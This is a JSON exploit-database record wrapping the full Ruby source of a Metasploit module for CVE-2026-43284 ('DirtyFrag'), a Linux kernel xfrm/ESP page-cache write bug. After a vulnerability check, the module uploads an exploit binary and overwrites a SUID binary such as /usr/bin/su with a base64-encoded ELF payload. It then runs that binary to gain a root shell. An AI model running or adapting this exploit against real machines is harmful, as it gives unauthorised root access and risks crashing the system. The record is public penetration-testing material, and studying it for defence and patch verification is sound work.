{"exploit":{"id":"MSF-linux--local--cve_2026_43284_dirty_frag","name":"xfrm-ESP Page-Cache Write via CVE-2026-43284","description":"CVE-2026-43284 is a Linux kernel page-cache write vulnerability in the IPsec/xfrm subsystem affecting ESP (Encapsulating Security Payload) fragmentation. Dubbed \"DirtyFrag\", the bug allows a local unprivileged user to gain write access to read-only page-cache pages by triggering a race condition in how the kernel handles shared fragments when processing ESP-encapsulated UDP packets. The exploit overwrites a SUID binary on disk to execute an arbitrary payload as root.","cves":["CVE-2026-43284"],"author":"Hyunwoo Kim, Giovanni Heward","published":"2026-05-08","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/local/cve_2026_43284_dirty_frag.rb","path":"modules/exploits/linux/local/cve_2026_43284_dirty_frag.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"cve_2026_43284_dirty_frag.rb","vulnerabilities":[{"id":"CVE-2026-43284","state":"PUBLISHED","title":"xfrm: esp: avoid in-place decrypt on shared skb frags","titleSource":"CVE Program","description":"In the Linux kernel, the following vulnerability has been resolved: xfrm: esp: avoid in-place decrypt on shared skb frags MSG_SPLICE_PAGES can attach pages from a pipe directly to an skb. TCP marks such skbs with SKBFL_SHARED_FRAG after skb_splice_from_iter(), so later paths that may modify packet data can first make a private copy. The IPv4/IPv6 datagram append paths did not set this flag when splicing pages into UDP skbs. That leaves an ESP-in-UDP packet made from shared pipe pages looking like an ordinary uncloned nonlinear skb. ESP input then takes the no-COW fast path for uncloned skbs without a frag_list and decrypts in place over data that is not owned privately by the skb. Mark IPv4/IPv6 datagram splice frags with SKBFL_SHARED_FRAG, matching TCP. Also make ESP input fall back to skb_cow_data() when the flag is present, so ESP does not decrypt externally backed frags in place. Private nonlinear skb frags still use the existing fast path. This intentionally does not change ESP output. In esp_output_head(), the path that appends the ESP trailer to existing skb tailroom without calling skb_cow_data() is not reachable for nonlinear skbs: skb_tailroom() returns zero when skb->data_len is nonzero, while ESP tailen is positive. Thus ESP output will either use the separate destination-frag path or fall back to skb_cow_data().","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-43284","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","source":"Linux","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-43284"},"updatedAt":"2026-10-15T01:19:19.235Z","retrievedAt":"2026-11-25T16:15:43.566Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--local--cve_2026_43284_dirty_frag.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--local--cve_2026_43284_dirty_frag","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--local--cve_2026_43284_dirty_frag/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--local--cve_2026_43284_dirty_frag/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n  Rank = GoodRanking\n\n  include Msf::Post::File\n  include Msf::Post::Linux::Priv\n  include Msf::Post::Linux::Kernel\n  include Msf::Post::Linux::System\n  include Msf::Post::Linux::Compile\n  include Msf::Exploit::EXE\n  include Msf::Exploit::FileDropper\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'xfrm-ESP Page-Cache Write via CVE-2026-43284',\n        'Description' => %q{\n          CVE-2026-43284 is a Linux kernel page-cache write vulnerability in the IPsec/xfrm\n          subsystem affecting ESP (Encapsulating Security Payload) fragmentation. Dubbed\n          \"DirtyFrag\", the bug allows a local unprivileged user to gain write access to read-only\n          page-cache pages by triggering a race condition in how the kernel handles shared fragments\n          when processing ESP-encapsulated UDP packets. The exploit overwrites a SUID binary on disk\n          to execute an arbitrary payload as root.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Hyunwoo Kim',      # Discovery\n          'Giovanni Heward',  # Original module\n        ],\n        'References' => [\n          ['CVE', '2026-43284'],\n          ['EDB', '52585'],\n          ['EDB', '52591'],\n          ['URL', 'https://github.com/V4bel/dirtyfrag'],\n        ],\n        'SessionTypes' => [ 'shell', 'meterpreter' ],\n        'Platform' => [ 'linux', 'unix'],\n        'Arch' => ARCH_CMD,\n        'Targets' => [[ 'Auto', {} ]],\n        'DisclosureDate' => '2026-05-08',\n        'Notes' => {\n          'Reliability' => [ REPEATABLE_SESSION ],\n          'Stability' => [ CRASH_OS_DOWN ],\n          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('WRITABLE_DIR', [ true, 'Directory to write files to', '/tmp' ]),\n      OptString.new('SUID_BINARY_PATH', [ true, 'The path to a suid binary', '/usr/bin/su' ])\n    ])\n  end\n\n  def check\n    dirtyfrag_modprobe = cmd_exec('ls /etc/modprobe.d/ | grep -e dirty -e dirty-frag -e dirtyfrag')\n\n    return CheckCode::Safe('The machine seems to be patched') unless dirtyfrag_modprobe.blank?\n\n    vuln_modules = %w[esp ipcomp]\n    return CheckCode::Unknown('The vulnerable modules have not been detected') unless kernel_modules.any? { |m| vuln_modules.include?(m) }\n\n    kernel_version = Rex::Version.new kernel_release.split('-').first\n\n    return CheckCode::Safe('The kernel version is older than the commit when bug was introduced') if kernel_version < Rex::Version.new('4.10')\n\n    CheckCode::Appears('The target is vulnerable, vulnerable module detected and no mitigation detected')\n  end\n\n  def exploit\n    suid_binary_path = datastore['SUID_BINARY_PATH']\n\n    fail_with(Failure::BadConfig, \"The #{suid_binary_path} does not exists on target system\") unless setuid?(suid_binary_path)\n\n    payload_dir = datastore['WRITABLE_DIR']\n    fail_with(Failure::NoAccess, 'Cannot write into WRITABLE_DIR, make sure you select writable directory') unless writable?(payload_dir)\n\n    arch = kernel_arch\n\n    cmd_payload = framework.payloads.create(\"linux/#{arch}/exec\")\n    fail_with(Failure::NoTarget, \"#{arch} targets are not supported.\") if cmd_payload.nil? || !cmd_payload.options.key?('PrependSetuid')\n\n    cmd_payload.datastore['CMD'] = payload.encoded\n    cmd_payload.datastore['PrependSetuid'] = true\n    elf = cmd_payload.generate_simple('Format' => 'elf')\n\n    # add padding\n    elf += \"\\xff\" * ((4 - (elf.size % 4)) % 4)\n\n    exploit_file = \"#{payload_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}\"\n\n    if live_compile?\n      vprint_status('Live compiling exploit on system...')\n      exploit_c = exploit_data('CVE-2026-43284', 'CVE_2026_43284.c')\n      upload_and_compile(exploit_file, exploit_c)\n    else\n\n      fail_with(Failure::BadConfig, 'Precompiled exploit only supported for x64, x86, Arm64 and Armel') unless [ARCH_X64, ARCH_X86, ARCH_AARCH64, ARCH_ARMLE].include?(arch)\n      vprint_status('Dropping pre-compiled exploit on system...')\n\n      exploit_bin = exploit_data('CVE-2026-43284', \"CVE_2026_43284_#{arch}\")\n      upload_and_chmodx(exploit_file, exploit_bin)\n    end\n\n    register_file_for_cleanup(exploit_file)\n\n    print_status(%(Trying to run the exploit: \"echo -n #{Base64.strict_encode64(elf)} | base64 -d | #{exploit_file} #{elf.size} #{suid_binary_path}\"))\n    # patch the setuid file\n    response = cmd_exec(\"echo -n #{Base64.strict_encode64(elf)} | base64 -d | #{exploit_file} #{elf.size} #{suid_binary_path}\")\n\n    fail_with(Failure::NotVulnerable, 'The target machine does not seem to be vulnerable') unless response.include?('payload delivered')\n\n    print_status('Running the payload')\n    # run the payload\n    cmd_exec(suid_binary_path.to_s)\n  end\n\n  def on_new_session(session)\n    print_status('Restoring balance in galaxy')\n    if session.type.eql?('meterpreter')\n      session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')\n      session.sys.process.execute('/bin/sh', \"-c 'echo 3 > /proc/sys/vm/drop_caches\")\n    else\n      session.shell_command_token('echo 3 > /proc/sys/vm/drop_caches')\n    end\n\n    super\n  end\n\nend\n","sha256":"e12ba4b588fb42d0ed37da44fe5f85aeb0e6d05663b17584767f3acb777ba7f9","bytes":5312,"fetchedAt":"2026-11-25T16:31:00.996Z","encoding":"utf-8 (display only; download retains original bytes)"}